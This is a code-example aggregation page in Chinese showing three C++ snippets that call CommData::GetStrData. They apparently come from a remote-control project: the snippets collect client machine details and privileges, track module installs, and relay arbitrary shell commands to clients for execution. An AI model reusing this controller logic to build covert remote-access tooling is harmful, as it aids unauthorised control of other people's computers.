当前位置: 首页>>代码示例>>C++>>正文


C++ CommData::GetStrData方法代码示例

本文整理汇总了C++中CommData::GetStrData方法的典型用法代码示例。如果您正苦于以下问题:C++ CommData::GetStrData方法的具体用法?C++ CommData::GetStrData怎么用?C++ CommData::GetStrData使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在CommData的用法示例。


在下文中一共展示了CommData::GetStrData方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: HandleInstalMsg

void ClientInfoManager::HandleInstalMsg( tstring clientid,CLIENT_BASE_INFO& info )
{
	MsgSerialIDMap::iterator msgidIter = info.installModMsgIDMap.begin();
	while (msgidIter != info.installModMsgIDMap.end())
	{
		//尝试从通信管理器获取回应消息
		CommData retData;
		if (CommManager::GetInstanceRef().GetReplyMessage(clientid.c_str(), msgidIter->second, retData))
		{
			tstring reply;
			if (retData.GetStrData(_T("reply"), reply))
			{
				if (reply == _T("install success"))
				{
					info.mods += msgidIter->first.c_str();
					info.mods += ',';
					std::transform(info.mods.begin(),info.mods.end(),info.mods.begin(),tolower);
				}
			}

			debugLog(_T("install reply is %s"), reply.c_str());

			msgidIter = info.installModMsgIDMap.erase(msgidIter);
		}
		else
		{
			debugLog(_T("no reply for [%s][%I64u] yet"), clientid.c_str(), msgidIter->second);
			msgidIter++;
		}
	}
}
开发者ID:redblack168,项目名称:trochilus,代码行数:31,代码来源:ClientInfoManager.cpp

示例2: ParseData

BOOL ClientInfoManager::ParseData( const CommData& commData, CLIENT_BASE_INFO& baseInfo ) const
{
	DECLARE_STR_PARAM(cn);
	DECLARE_STR_PARAM(ip);
	DECLARE_STR_PARAM(groups);
	DECLARE_STR_PARAM(vercode);
	DECLARE_STR_PARAM(priv);
	DECLARE_UINT64_PARAM(lang);
	DECLARE_UINT64_PARAM(mem);
	DECLARE_UINT64_PARAM(instime);
	DECLARE_UINT64_PARAM(os);
	DECLARE_UINT64_PARAM(x64);
	DECLARE_UINT64_PARAM(proto);
	DECLARE_UINT64_PARAM(cpufrep);
	DECLARE_UINT64_PARAM(cpunum);

	tstring mods;
	commData.GetStrData(_T("mods"), mods);

	baseInfo.computerName = cn;
	splitByChar(ip.c_str(), baseInfo.localIPList, ',');
	baseInfo.installTime = instime;
	baseInfo.windowsVersion = (WIN_VER_DETAIL) os;
	baseInfo.bX64 = (BOOL)x64;
	baseInfo.mods = mods;
	baseInfo.commtype = (COMM_NAME)proto;
	baseInfo.cpufrep = cpufrep;
	baseInfo.cpunum = cpunum;
	baseInfo.memsize = mem;

	baseInfo.groups = groups;
	baseInfo.priv = priv;
	baseInfo.vercode = vercode;
	baseInfo.lang = TransferLanguage(lang);

	_time64(&baseInfo.reportTime);
	SOCKADDR_IN addr;
	if (CommManager::GetInstanceRef().GetLastConnectionAddr(commData.GetClientID(), addr))
	{
		baseInfo.connectIP = addr.sin_addr.S_un.S_addr;
	}
	else
	{
		baseInfo.connectIP = 0;
	}

	baseInfo.bValid = TRUE;

	return TRUE;
}
开发者ID:redblack168,项目名称:trochilus,代码行数:50,代码来源:ClientInfoManager.cpp

示例3: ExecuteCommand

BOOL Shell::ExecuteCommand( LPCTSTR cmdlinestr, tstring& reply )
{
	//分割并整理命令行的各个部分
	tstring cmdline = cmdlinestr;
	trim(cmdline, ' ');
	trim(cmdline, '\n');
	trim(cmdline, '\r');
	TStringVector parts;
	splitByChar(cmdline.c_str(), parts, ' ');

	//清理无效参数
	TStringVector::iterator iter = parts.begin();
	while (iter != parts.end())
	{
		tstring& part = *iter;
		trim(part);
		if (part.size() == 0)
		{
			iter = parts.erase(iter);
		}
		else
		{
			iter++;
		}
	}

	//检查是否有可用的部分
	if (parts.size() == 0)
	{
		reply = _T("");
		return TRUE;
	}

	//查找可用的命令
	tstring& cmdname = parts[0];
	makeLower(cmdname);

	if (cmdname == _T("dir"))
	{
		return Execute_Dir(parts, reply);
	}
	else if (cmdname == _T("cd"))
	{
		return Execute_Cd(parts, reply);
	}
	else if (cmdname == _T("disks"))
	{
		return Execute_Disks(parts, reply);
	}

	//将命令发到客户端去执行
	CommData commandCommData;
	commandCommData.SetMsgID(MSGID_EXECUTE_CMDLINE);
	commandCommData.SetData(_T("cmdline"), cmdline.c_str());
	CommData replyCommData;
	if (! AskAndWaitForReply(commandCommData, replyCommData))
	{
		reply = _T("等待客户端回应超时");
		return FALSE;
	}
	else
	{
		tstring result;
		replyCommData.GetStrData(_T("result"), result);
		if (result == _T("OK"))
		{
			reply = s2ws(std::string((LPCSTR)(LPBYTE)replyCommData.GetByteData(), replyCommData.GetByteData().Size()));
			return TRUE;
		}
		else
		{
			reply = result;
			return FALSE;
		}
	}
}
开发者ID:a3587556,项目名称:trochilus,代码行数:76,代码来源:Shell.cpp


注:本文中的CommData::GetStrData方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。